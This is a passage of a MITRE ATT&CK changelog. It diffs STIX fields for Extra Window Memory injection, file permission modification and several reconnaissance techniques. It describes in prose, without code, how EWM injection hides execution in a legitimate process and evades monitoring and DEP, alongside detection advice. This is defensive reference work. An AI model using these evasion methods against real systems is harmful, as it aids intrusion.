| > | specific to that window and has specific application program | > | specific to that window and has specific application program | ||
| > | ming interface (API) functions to set and get its value. (Ci | > | ming interface (API) functions to set and get its value. (Ci | ||
| > | tation: Microsoft GetWindowLong function) (Citation: Microso | > | tation: Microsoft GetWindowLong function) (Citation: Microso | ||
| > | ft SetWindowLong function) Although small, the EWM is large | > | ft SetWindowLong function) Although small, the EWM is large | ||
| > | enough to store a 32-bit pointer and is often used to point | > | enough to store a 32-bit pointer and is often used to point | ||
| > | to a windows procedure. Malware may possibly utilize this m | > | to a windows procedure. Malware may possibly utilize this m | ||
| > | emory location in part of an attack chain that includes writ | > | emory location in part of an attack chain that includes writ | ||
| > | ing code to shared sections of the process’s memory, placing | > | ing code to shared sections of the process’s memory, placing | ||
| > | a pointer to the code in EWM, then invoking execution by re | > | a pointer to the code in EWM, then invoking execution by re | ||
| > | turning execution control to the address in the process’s EW | > | turning execution control to the address in the process’s EW | ||
| > | M. Execution granted through EWM injection may allow access | > | M. Execution granted through EWM injection may allow access | ||
| > | to both the target process's memory and possibly elevated p | > | to both the target process's memory and possibly elevated p | ||
| > | rivileges. Writing payloads to shared sections also avoids t | > | rivileges. Writing payloads to shared sections also avoids t | ||
| > | he use of highly monitored API calls such as <code>WriteProc | > | he use of highly monitored API calls such as <code>WriteProc | ||
| > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | ||
| > | on: Endgame Process Injection July 2017) More sophisticated | > | on: Elastic Process Injection July 2017) More sophisticated | ||
| > | malware samples may also potentially bypass protection mecha | > | malware samples may also potentially bypass protection mecha | ||
| > | nisms such as data execution prevention (DEP) by triggering | > | nisms such as data execution prevention (DEP) by triggering | ||
| > | a combination of windows procedures and other system functio | > | a combination of windows procedures and other system functio | ||
| > | ns that will rewrite the malicious payload inside an executa | > | ns that will rewrite the malicious payload inside an executa | ||
| > | ble portion of the target process. (Citation: MalwareTech P | > | ble portion of the target process. (Citation: MalwareTech P | ||
| > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | ||
| > | yms Mar 2013) Running code in the context of another proces | > | yms Mar 2013) Running code in the context of another proces | ||
| > | s may allow access to the process's memory, system/network r | > | s may allow access to the process's memory, system/network r | ||
| > | esources, and possibly elevated privileges. Execution via EW | > | esources, and possibly elevated privileges. Execution via EW | ||
| > | M injection may also evade detection from security products | > | M injection may also evade detection from security products | ||
| > | since the execution is masked under a legitimate process. | > | since the execution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:26:33.191000+00:00 | 2020-11-10 18:29:31.004000+00:00 |
| description | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[4]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_detection | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017) | Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify file or directory permissions/attribu | t | 1 | Adversaries may modify file or directory permissions/attribu |
| > | tes to evade access control lists (ACLs) and access protecte | > | tes to evade access control lists (ACLs) and access protecte | ||
| > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | > | d files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citati | ||
| > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | > | on: Hybrid Analysis Icacls2 May 2018) File and directory per | ||
| > | missions are commonly managed by ACLs configured by the file | > | missions are commonly managed by ACLs configured by the file | ||
| > | or directory owner, or users with the appropriate permissio | > | or directory owner, or users with the appropriate permissio | ||
| > | ns. File and directory ACL implementations vary by platform, | > | ns. File and directory ACL implementations vary by platform, | ||
| > | but generally explicitly designate which users or groups ca | > | but generally explicitly designate which users or groups ca | ||
| > | n perform which actions (read, write, execute, etc.). Modif | > | n perform which actions (read, write, execute, etc.). Modif | ||
| > | ications may include changing specific access rights, which | > | ications may include changing specific access rights, which | ||
| > | may require taking ownership of a file or directory and/or e | > | may require taking ownership of a file or directory and/or e | ||
| > | levated permissions depending on the file or directory’s exi | > | levated permissions depending on the file or directory’s exi | ||
| > | sting permissions. This may enable malicious activity such a | > | sting permissions. This may enable malicious activity such a | ||
| > | s modifying, replacing, or deleting specific files or direct | > | s modifying, replacing, or deleting specific files or direct | ||
| > | ories. Specific file and directory modifications may be a re | > | ories. Specific file and directory modifications may be a re | ||
| > | quired step for many techniques, such as establishing Persis | > | quired step for many techniques, such as establishing Persis | ||
| > | tence via [Accessibility Features](https://attack.mitre.org/ | > | tence via [Accessibility Features](https://attack.mitre.org/ | ||
| > | techniques/T1546/008), [Boot or Logon Initialization Scripts | > | techniques/T1546/008), [Boot or Logon Initialization Scripts | ||
| > | ](https://attack.mitre.org/techniques/T1037), [.bash_profile | > | ](https://attack.mitre.org/techniques/T1037), [Unix Shell Co | ||
| > | and .bashrc](https://attack.mitre.org/techniques/T1546/004) | > | nfiguration Modification](https://attack.mitre.org/technique | ||
| > | , or tainting/hijacking other instrumental binary/configurat | > | s/T1546/004), or tainting/hijacking other instrumental binar | ||
| > | ion files via [Hijack Execution Flow](https://attack.mitre.o | > | y/configuration files via [Hijack Execution Flow](https://at | ||
| > | rg/techniques/T1574). | > | tack.mitre.org/techniques/T1574). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-01 20:05:05.562000+00:00 | 2021-09-13 21:08:10.406000+00:00 |
| description | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). |
| x_mitre_data_sources[0] | File monitoring | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | Windows event logs | File: File Metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host f |
| > | tion about the victim's host firmware that can be used durin | > | irmware that can be used during targeting. Information about | ||
| > | g targeting. Information about host firmware may include a v | > | host firmware may include a variety of details such as type | ||
| > | ariety of details such as type and versions on specific host | > | and versions on specific hosts, which may be used to infer | ||
| > | s, which may be used to infer more information about hosts i | > | more information about hosts in the environment (ex: configu | ||
| > | n the environment (ex: configuration, purpose, age/patch lev | > | ration, purpose, age/patch level, etc.). Adversaries may ga | ||
| > | el, etc.). Adversaries may gather this information in vario | > | ther this information in various ways, such as direct elicit | ||
| > | us ways, such as direct elicitation via [Phishing for Inform | > | ation via [Phishing for Information](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1598). Informati | > | g/techniques/T1598). Information about host firmware may onl | ||
| > | on about host firmware may only be exposed to adversaries vi | > | y be exposed to adversaries via online or other accessible d | ||
| > | a online or other accessible data sets (ex: job postings, ne | > | ata sets (ex: job postings, network maps, assessment reports | ||
| > | twork maps, assessment reports, resumes, or purchase invoice | > | , resumes, or purchase invoices).(Citation: ArsTechnica Inte | ||
| > | s).(Citation: ArsTechnica Intel) Gathering this information | > | l) Gathering this information may reveal opportunities for o | ||
| > | may reveal opportunities for other forms of reconnaissance ( | > | ther forms of reconnaissance (ex: [Search Open Websites/Doma | ||
| > | ex: [Search Open Websites/Domains](https://attack.mitre.org/ | > | ins](https://attack.mitre.org/techniques/T1593) or [Search O | ||
| > | techniques/T1593) or [Search Open Technical Databases](https | > | pen Technical Databases](https://attack.mitre.org/techniques | ||
| > | ://attack.mitre.org/techniques/T1596)), establishing operati | > | /T1596)), establishing operational resources (ex: [Develop C | ||
| > | onal resources (ex: [Develop Capabilities](https://attack.mi | > | apabilities](https://attack.mitre.org/techniques/T1587) or [ | ||
| > | tre.org/techniques/T1587) or [Obtain Capabilities](https://a | > | Obtain Capabilities](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1588)), and/or initial access (e | > | 88)), and/or initial access (ex: [Supply Chain Compromise](h | ||
| > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1195) or [Exploit Public | ||
| > | ques/T1195) or [Exploit Public-Facing Application](https://a | > | -Facing Application](https://attack.mitre.org/techniques/T11 | ||
| > | ttack.mitre.org/techniques/T1190)). | > | 90)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:52:36.854000+00:00 | 2021-04-15 03:22:46.759000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's networks that can be used during tar | > | ks that can be used during targeting. Information about netw | ||
| > | geting. Information about networks may include a variety of | > | orks may include a variety of details, including administrat | ||
| > | details, including administrative data (ex: IP ranges, domai | > | ive data (ex: IP ranges, domain names, etc.) as well as spec | ||
| > | n names, etc.) as well as specifics regarding its topology a | > | ifics regarding its topology and operations. Adversaries ma | ||
| > | nd operations. Adversaries may gather this information in v | > | y gather this information in various ways, such as direct co | ||
| > | arious ways, such as direct collection actions via [Active S | > | llection actions via [Active Scanning](https://attack.mitre. | ||
| > | canning](https://attack.mitre.org/techniques/T1595) or [Phis | > | org/techniques/T1595) or [Phishing for Information](https:// | ||
| > | hing for Information](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1598). Information about networ | ||
| > | 598). Information about networks may also be exposed to adve | > | ks may also be exposed to adversaries via online or other ac | ||
| > | rsaries via online or other accessible data sets (ex: [Searc | > | cessible data sets (ex: [Search Open Technical Databases](ht | ||
| > | h Open Technical Databases](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)( | ||
| > | ues/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citati | > | Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gatheri | ||
| > | on: Circl Passive DNS) Gathering this information may reveal | > | ng this information may reveal opportunities for other forms | ||
| > | opportunities for other forms of reconnaissance (ex: [Activ | > | of reconnaissance (ex: [Active Scanning](https://attack.mit | ||
| > | e Scanning](https://attack.mitre.org/techniques/T1595) or [S | > | re.org/techniques/T1595) or [Search Open Websites/Domains](h | ||
| > | earch Open Websites/Domains](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1593)), establishing ope | ||
| > | ques/T1593)), establishing operational resources (ex: [Acqui | > | rational resources (ex: [Acquire Infrastructure](https://att | ||
| > | re Infrastructure](https://attack.mitre.org/techniques/T1583 | > | ack.mitre.org/techniques/T1583) or [Compromise Infrastructur | ||
| > | ) or [Compromise Infrastructure](https://attack.mitre.org/te | > | e](https://attack.mitre.org/techniques/T1584)), and/or initi | ||
| > | chniques/T1584)), and/or initial access (ex: [Trusted Relati | > | al access (ex: [Trusted Relationship](https://attack.mitre.o | ||
| > | onship](https://attack.mitre.org/techniques/T1199)). | > | rg/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 22:58:23.086000+00:00 | 2021-04-15 03:34:23.229000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather the vic | t | 1 | Adversaries may gather the victim's IP addresses that can be |
| > | tim's IP addresses that can be used during targeting. Public | > | used during targeting. Public IP addresses may be allocated | ||
| > | IP addresses may be allocated to organizations by block, or | > | to organizations by block, or a range of sequential address | ||
| > | a range of sequential addresses. Information about assigned | > | es. Information about assigned IP addresses may include a va | ||
| > | IP addresses may include a variety of details, such as whic | > | riety of details, such as which IP addresses are in use. IP | ||
| > | h IP addresses are in use. IP addresses may also enable an a | > | addresses may also enable an adversary to derive other detai | ||
| > | dversary to derive other details about a victim, such as org | > | ls about a victim, such as organizational size, physical loc | ||
| > | anizational size, physical location(s), Internet service pro | > | ation(s), Internet service provider, and or where/how their | ||
| > | vider, and or where/how their publicly-facing infrastructure | > | publicly-facing infrastructure is hosted. Adversaries may g | ||
| > | is hosted. Adversaries may gather this information in vari | > | ather this information in various ways, such as direct colle | ||
| > | ous ways, such as direct collection actions via [Active Scan | > | ction actions via [Active Scanning](https://attack.mitre.org | ||
| > | ning](https://attack.mitre.org/techniques/T1595) or [Phishin | > | /techniques/T1595) or [Phishing for Information](https://att | ||
| > | g for Information](https://attack.mitre.org/techniques/T1598 | > | ack.mitre.org/techniques/T1598). Information about assigned | ||
| > | ). Information about assigned IP addresses may also be expos | > | IP addresses may also be exposed to adversaries via online o | ||
| > | ed to adversaries via online or other accessible data sets ( | > | r other accessible data sets (ex: [Search Open Technical Dat | ||
| > | ex: [Search Open Technical Databases](https://attack.mitre.o | > | abases](https://attack.mitre.org/techniques/T1596)).(Citatio | ||
| > | rg/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpst | > | n: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DN | ||
| > | er)(Citation: Circl Passive DNS) Gathering this information | > | S) Gathering this information may reveal opportunities for o | ||
| > | may reveal opportunities for other forms of reconnaissance ( | > | ther forms of reconnaissance (ex: [Active Scanning](https:// | ||
| > | ex: [Active Scanning](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1595) or [Search Open Websites/ | ||
| > | 595) or [Search Open Websites/Domains](https://attack.mitre. | > | Domains](https://attack.mitre.org/techniques/T1593)), establ | ||
| > | org/techniques/T1593)), establishing operational resources ( | > | ishing operational resources (ex: [Acquire Infrastructure](h | ||
| > | ex: [Acquire Infrastructure](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | ||
| > | ques/T1583) or [Compromise Infrastructure](https://attack.mi | > | rastructure](https://attack.mitre.org/techniques/T1584)), an | ||
| > | tre.org/techniques/T1584)), and/or initial access (ex: [Exte | > | d/or initial access (ex: [External Remote Services](https:// | ||
| > | rnal Remote Services](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1133)). | ||
| > | 133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:03:29.213000+00:00 | 2021-04-15 03:31:05.302000+00:00 |
| description | Before compromising a victim, adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's busine |
| > | tion about the victim's business tempo that can be used duri | > | ss tempo that can be used during targeting. Information abou | ||
| > | ng targeting. Information about an organization’s business t | > | t an organization’s business tempo may include a variety of | ||
| > | empo may include a variety of details, including operational | > | details, including operational hours/days of the week. This | ||
| > | hours/days of the week. This information may also reveal ti | > | information may also reveal times/dates of purchases and shi | ||
| > | mes/dates of purchases and shipments of the victim’s hardwar | > | pments of the victim’s hardware and software resources. Adv | ||
| > | e and software resources. Adversaries may gather this infor | > | ersaries may gather this information in various ways, such a | ||
| > | mation in various ways, such as direct elicitation via [Phis | > | s direct elicitation via [Phishing for Information](https:// | ||
| > | hing for Information](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1598). Information about busine | ||
| > | 598). Information about business tempo may also be exposed t | > | ss tempo may also be exposed to adversaries via online or ot | ||
| > | o adversaries via online or other accessible data sets (ex: | > | her accessible data sets (ex: [Social Media](https://attack. | ||
| > | [Social Media](https://attack.mitre.org/techniques/T1593/001 | > | mitre.org/techniques/T1593/001) or [Search Victim-Owned Webs | ||
| > | ) or [Search Victim-Owned Websites](https://attack.mitre.org | > | ites](https://attack.mitre.org/techniques/T1594)).(Citation: | ||
| > | /techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) G | > | ThreatPost Broadvoice Leak) Gathering this information may | ||
| > | athering this information may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Phishing for Information](htt | > | [Phishing for Information](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1598) or [Search Open Webs | > | es/T1598) or [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593)), e | > | itre.org/techniques/T1593)), establishing operational resour | ||
| > | stablishing operational resources (ex: [Establish Accounts]( | > | ces (ex: [Establish Accounts](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1585) or [Compromise Ac | > | iques/T1585) or [Compromise Accounts](https://attack.mitre.o | ||
| > | counts](https://attack.mitre.org/techniques/T1586)), and/or | > | rg/techniques/T1586)), and/or initial access (ex: [Supply Ch | ||
| > | initial access (ex: [Supply Chain Compromise](https://attack | > | ain Compromise](https://attack.mitre.org/techniques/T1195) o | ||
| > | .mitre.org/techniques/T1195) or [Trusted Relationship](https | > | r [Trusted Relationship](https://attack.mitre.org/techniques | ||
| > | ://attack.mitre.org/techniques/T1199)) | > | /T1199)) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:12.352000+00:00 | 2021-04-15 03:38:31.983000+00:00 |
